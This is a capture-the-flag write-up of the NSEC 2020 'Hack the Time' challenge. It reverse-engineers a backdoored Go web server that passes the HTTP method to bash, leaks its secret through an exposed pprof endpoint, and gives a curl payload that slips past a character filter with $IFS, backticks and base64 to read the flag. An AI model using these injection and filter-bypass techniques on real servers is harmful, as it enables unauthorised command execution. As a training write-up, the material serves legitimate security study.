NSEC20 Hack The Time - Mon, May 25, 2020 - Lucas Bajolet
Hack the time
Challenge from the Nsec’s 2020 online edition.
This challenge was a binary, in which, as the challenge description pointed, a backdoor was subtly installed by the developer of the application so he could change the time at will (bear in mind, the theme was a high-school called Severity High, as a HS student, I’d have loved this kind of power to skip uninteresting courses 😀).
The challenge
We are given a binary, and a web address alongside the challenge’s instructions.
When we start the binary (it requires the static resources to be available in the same directory as the server binary itself), we are greeted with a clock:
By itself, there isn’t too many interesting things; there’s nothing to interact with on the page, it reloads the current time every 5 seconds through a small JS snippet that queries the server on the /time.json
route.
Noting too fancy in itself.
The next step is to study and understand the binary in question.
To do so, we open it in our reverse-engineering tool of choice; in this case, we went with Ghidra.
First off, one thing we can notice out of the box: we’re dealing with a Go binary. This is apparent because the ELF file contains two Go-specific segments: .go.buildinfo
, and .gopclntab
.
With that in mind, a quick search through the symbol table gives us the main functions:
main.main
In go binaries, main.main
is the entrypoint; everything we do inside starts here.
Looking at the assembly, and running the server step-by-step in gdb/Peda, we can see the actual course of action of the binary:
-
First, it creates an instance of
http.Dir
, this will let it serve files directly from the path given as argument to the function -
It then creates a
http.ServeMux
, that will let it define routes to handle differently if there’s a need for it. -
Also, two other
http.Handler
are defined:-
One pointing to
time.json
, and handled by functionmain.timeHandler
-
Another one pointing to
/
, handled bymain.root.func1
(i.e., an anonymous function defined inmain.root
)
-
So far so good, main.timeHandler
seems harmless by looking at the code, it invokes time.Now
, serialises the result under a format that the client’s Javascript can understand, and sends it back to the client.
main.root.func1
Looking at main.root.func1
, it delegates the behaviour for the call to main.e
, which is the next function we’ll explore.
Here, we can see something more interesting.
This piece of code basically loads a string (Go defines its own calling convention) on the stack, with its length first, and the base pointer after that.
Ghidra is being helpful here and gives us the first bytes of the string (prefixed by s_
) in a comment aside from the loading instruction.
We also know the length of the string: 0xf -> 15.
This amounts to the string mlaasdkfasldkfm
.
This string is then passed as argument to the next function: net/http.(*Request)FormValue
(the name is truncated for some reason, but the symbol is appropriately linked at the definition).
According to the documentation, this searches for a Multipart form argument, and returns either the empty string if it is absent, or the value linked to the key.
Right after this is loaded, the code loads os.Args[1]
:
Note: LAB_0076320c
contains the OOB panic handling code.
When this is done, both os.Args[1]
and the result from our call to net/http.(*Request)FormValue
are compared using runtime.memequal
:
If the comparison succeeds, we call main.rr
.
main.rr
For this function, we’ll go with a quick decompiled version:
void main.rr(void)
{
ulong *puVar1;
long in_FS_OFFSET;
undefined8 param_7;
undefined8 param_8;
puVar1 = (ulong *)(*(long *)(in_FS_OFFSET + 0xfffffff8) + 0x10);
if ((undefined *)*puVar1 <= register0x00000020 &&
(undefined *)register0x00000020 != (undefined *)*puVar1) {
runtime.concatstring2();
os/exec.Command();
os/exec.();
runtime.slicebytetostring();
runtime.convTstring();
fmt.Fprintln();
return;
}
runtime.morestack_noctxt();
main.rr();
return;
}
This shows us rapidly what happens at first glance: two strings are concatenated, there’s a call to exec.Command
(the unborked version of the second os/exec.()
is actually cmd.CombinedOutput), and the remainder of it is just printing the command on os.Stdout
.
For a webserver, this is somewhat strange, we can try to trigger it locally in a debugger, and see what the behaviour is at runtime:
For context, we start the server with asd
as parameter so we know what to send as argument of our request to the server.
Triggering the request happens in a different terminal, and is done through the following command:
$ curl -Fmlaasdkfasldkfm=asd localhost:8080
OK, so now we have a better idea of what’s happening.
If we take a look at the last steps before calling exec.Command
:
We can see what’s being passed as arguments:
-
bash
-
-c
-
echo POST
All three arguments are strings, and the calling convention is still the same as before.
exec.Command
takes a string slice as argument for creating a command, and then executes it.
So the command executed would be:
$ bash -c echo POST
This is weird, POST is the method of the HTTP request, which we can control with our call to curl
on the client-side.
We then noticed that curl, as well as go, does NOT check that the value of the method is any of the valid HTTP methods defined in the standard.
This essentially gives us a way to inject stuff, as the method is not protected when given to bash.
We just found our backdoor!
Triggering the exploit on the server
This leaves us with one issue: since the payload can only be triggered when the value we give to our Form value mlaasdkfasldkfm
is equal to the second argument of the server’s commandline, we need a way to leak it.
Back to the disassembly!
Going back to the http.(*ServeMux).Handle
function defintion, we can see X-Refs coming from net/http/pprof.init
:
This is definitely interesting, pprof server is a module/facility we can use in go for accessing profiling and debug information on a running process.
It’s fairly standard: documentation
As mentioned in the docs, the pprof server is accessible on /debug/pprof
.
We can try that!
Heh. There’s a cmdline
option.
When we open it, we can see what the expected value is:
There we go!
Now, we can use this to trigger the exploit on the server, and we can play with the value of the method to get our flag!
Getting the flag
Now, although we can have a lot of fun with the method of the HTTP request, we still have a few hurdles to overcome.
Specifically, a bunch of characters are rejected: characters like /
, braces of any kind, =
, :
and ;
, spaces (because the HTTP protocol considers the method as the first non-space characters of the header), etc.
So we’ll have to be clever to inject valid shell that’ll get us our flag.
This is when we experimented a bit:
-
First, we noticed that $ was available, this lets us use any shell variable, this will be properly expanded.
-
We have access to some characters that can be used for globbing, paths don’t have to be specified entierly (lucky, since we can’t have
/
-
Backtick is available, this means we can perform command substitution to a certain degree
-
|
is also available, we can therefore chain commands if we need to -
&
being also available, this is also a way we can chain commands
With all that in mind, we can craft a payload, and this is what ultimately gave us a flag:
curl -F mlaasdkfasldkfm=0739a949de455a1f745a8d3dcc4b179a time-server.ctf:8080 -X '`cd$IFS*static&&echo$IFS+aaaOyBjYXQgL2ZsYWcK|base64$IFS-d|sh|tee$IFS+jean`' ; curl http://time-server.ctf:8080/+jean
A bit of explanation:
-
$IFS
can be used for injecting spaces in the command, however because braces are rejected, we had to find a way to let the shell expand the variable, and separate that from the remainder of the command. We do this by abusing the globbing facility, as*
is not a valid character in a variable name, the shell can then try to glob, and perform the firstcd static
operation properly. -
echo$IFS+aaaOyBjYXQgL2ZsYWcK
is a shell payload, encoded in base64. The payload had to be aligned, as no padding is accepted (since base64 pads its output with=
). -
The payload is then piped to
base64 -d
,sh
, and finally totee
. We had to resort totee
in order to write the output of the command to a file, as stdout/stderr were only print server-side. -
Finally, we can curl the file, and we have our flag!
4 points!
Mentions
Thanks to all that helped solving this challenge:
-
@Freddrickk: for finding out that we can pretty much inject anything in a method
-
@axdoomer: for the
$IFS
-as-space trick -
@jfgauron: for discovering the
/debug/pprof
endpoint though X-Ref digging -
@privat: for being the wizard who exploited shell on the server